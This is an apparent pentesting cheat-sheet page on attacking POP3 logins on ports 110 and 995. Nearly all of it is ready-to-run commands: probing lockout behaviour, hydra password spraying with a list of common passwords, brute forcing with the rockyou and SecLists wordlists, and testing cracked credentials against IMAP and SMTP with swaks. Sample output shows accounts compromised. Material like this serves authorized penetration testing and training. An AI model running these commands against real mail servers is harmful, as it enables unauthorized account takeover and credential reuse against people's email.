Skip to content
HackIndex logo

HackIndex

POP3 Credential Attacks

3 min read Mar 29, 2026

POP3 credential attacks target USER/PASS and SASL AUTH on ports 110 and 995 using a confirmed user list from SMTP user enumeration or other sources. Password spraying across many accounts with a single password is the default approach to avoid lockout. Confirm lockout behavior before running any bulk attack.

Confirm Authentication Works Manually

Test a known credential pair first to confirm the auth flow and identify the success and failure response strings hydra needs:

┌──(kali㉿kali)-[~]
└─$ echo -e "USER $USER\nPASS $PASSWORD\nSTAT\nQUIT" | openssl s_client -connect $TARGET_IP:995 -crlf -quiet 2>/dev/null 
+OK Dovecot ready.
+OK
+OK 14 messages (42560 octets)
.
┌──(kali㉿kali)-[~]
└─$ echo -e "USER $USER\nPASS wrongpassword\nQUIT" | openssl s_client -connect $TARGET_IP:995 -crlf -quiet 2>/dev/null | grep -iE 'ok|err|fail' 
-ERR [AUTH] Authentication failed.

Check Lockout Behavior

Send several failed attempts and watch for rate limiting or lockout before running bulk attacks:

┌──(kali㉿kali)-[~]
└─$ for i in $(seq 1 6); do echo -n "Attempt $i: "; echo -e "USER $USER\nPASS wrongpass$i\nQUIT" | nc -nv $TARGET_IP 110 2>/dev/null | grep -oE '(\+OK|-ERR.*)' | tail -1; sleep 1; done 
Attempt 1: -ERR [AUTH] Authentication failed.
Attempt 2: -ERR [AUTH] Authentication failed.
Attempt 3: -ERR [AUTH] Authentication failed.
Attempt 4: -ERR [AUTH] Authentication failed.
Attempt 5: -ERR [AUTH] Authentication failed.
Attempt 6: -ERR [AUTH] Too many authentication failures.

A lockout response after attempt 6 means maximum 5 attempts per account before lockout. Switch to password spraying with significant delays, or reduce attempts per account to 3 with a long wait between rounds.

Password Spraying with hydra

Spray one password across all accounts. Start with high-probability passwords before moving to larger lists:

┌──(kali㉿kali)-[~]
└─$ hydra -L /tmp/pop3_users.txt -p 'Password123' -s 995 $TARGET_IP pop3s -t 5 -W 3 
[995][pop3s] host: 10.10.10.50   login: john.smith   password: Password123
for password in 'Password123' 'Welcome1' 'Company2024!' 'Summer2026' 'P@@ssword1'; do
  echo "[*] Spraying: $password"
  hydra -L /tmp/pop3_users.txt -p "$password" -s 995 $TARGET_IP pop3s -t 3 -W 5 2>/dev/null | grep 'host:'
done

Brute Force Single Account — Port 110

When no lockout is enforced and you have a single high-value target, brute force against port 110 directly:

┌──(kali㉿kali)-[~]
└─$ hydra -l $USER -P /usr/share/seclists/Passwords/Common-Credentials/10k-most-common.txt -s 110 $TARGET_IP pop3 -t 10
┌──(kali㉿kali)-[~]
└─$ hydra -l $USER -P /usr/share/wordlists/rockyou.txt -s 995 $TARGET_IP pop3s -t 10

Validate Credentials on Other Services

POP3 credentials are often reused. Test immediately against IMAP, SMTP submission, OWA, and SSH:

┌──(kali㉿kali)-[~]
└─$ echo -e "a001 LOGIN $USER $PASSWORD\na002 LIST \"\" *\na003 LOGOUT" | openssl s_client -connect $TARGET_IP:993 -crlf -quiet 2>/dev/null | grep -iE 'ok|no|list' 
a001 OK Logged in.
a002 OK List completed.
┌──(kali㉿kali)-[~]
└─$ swaks --to $USER@$DOMAIN --from $USER@$DOMAIN --server $TARGET_IP --port 587 --tls --auth LOGIN --auth-user $USER --auth-password $PASSWORD 2>&1 | grep -iE '235|535|auth' 
<-  235 2.7.0 Authentication successful

References